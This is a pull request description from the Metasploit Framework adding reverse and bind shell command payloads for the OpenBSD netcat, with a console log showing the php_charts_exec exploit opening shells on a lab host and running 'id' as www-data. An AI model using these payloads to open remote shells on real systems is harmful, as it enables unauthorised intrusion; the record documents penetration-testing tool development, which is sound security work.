rapid7/metasploit-framework — pull request #1541 by jvazquez-r7 (2013-03-05 11:49:07+00:00)
Title: Added cmd payloads for netcat openbsd version

Related to #1496

This pull requests add cmd payloads for openbsd versions of netcat, where the "-e" option isn't available. Idea discussed with @jlee-r7

It has been tested successfully with #1496 by @m-1-k-3 and by me with the php_charts_exec exploit (Ubuntu 10.03, netcat_openbsd) :

```
msf exploit(php_charts_exec) > set payload cmd/unix/reverse_netcat_openbsd
payload => cmd/unix/reverse_netcat_openbsd
msf exploit(php_charts_exec) > set rhost 192.168.1.159
rhost => 192.168.1.159
msf exploit(php_charts_exec) > rexploit
[*] Reloading module...

[-] Exploit failed: The following options failed to validate: LHOST.
msf exploit(php_charts_exec) > set lhost 192.168.1.128
lhost => 192.168.1.128
msf exploit(php_charts_exec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.128:4444
[*] 192.168.1.159:80 - Sending payload (572 bytes)
[*] Command shell session 1 opened (192.168.1.128:4444 -> 192.168.1.159:48107) at 2013-03-05 12:43:01 +0100
id
[-] Exploit failed [unexpected-reply]: 192.168.1.159:80 - Sending payload failed

uid=33(www-data) gid=33(www-data) groups=33(www-data)
^C
Abort session 1? [y/N] y

[*] 192.168.1.159 - Command shell session 1 closed. Reason: User exit
msf exploit(php_charts_exec) > set payload cmd/unix/bind_netcat_openbsd
payload => cmd/unix/bind_netcat_openbsd
msf exploit(php_charts_exec) > rexploit
[*] Reloading module...

[*] 192.168.1.159:80 - Sending payload (620 bytes)
[*] Started bind handler
[*] Command shell session 2 opened (192.168.1.128:57699 -> 192.168.1.159:4444) at 2013-03-05 12:44:02 +0100
id
[-] Exploit failed [unexpected-reply]: 192.168.1.159:80 - Sending payload failed

uid=33(www-data) gid=33(www-data) groups=33(www-data)
^C
Abort session 2? [y/N] y

[*] 192.168.1.159 - Command shell session 2 closed. Reason: User exit
msf exploit(php_charts_exec) >
```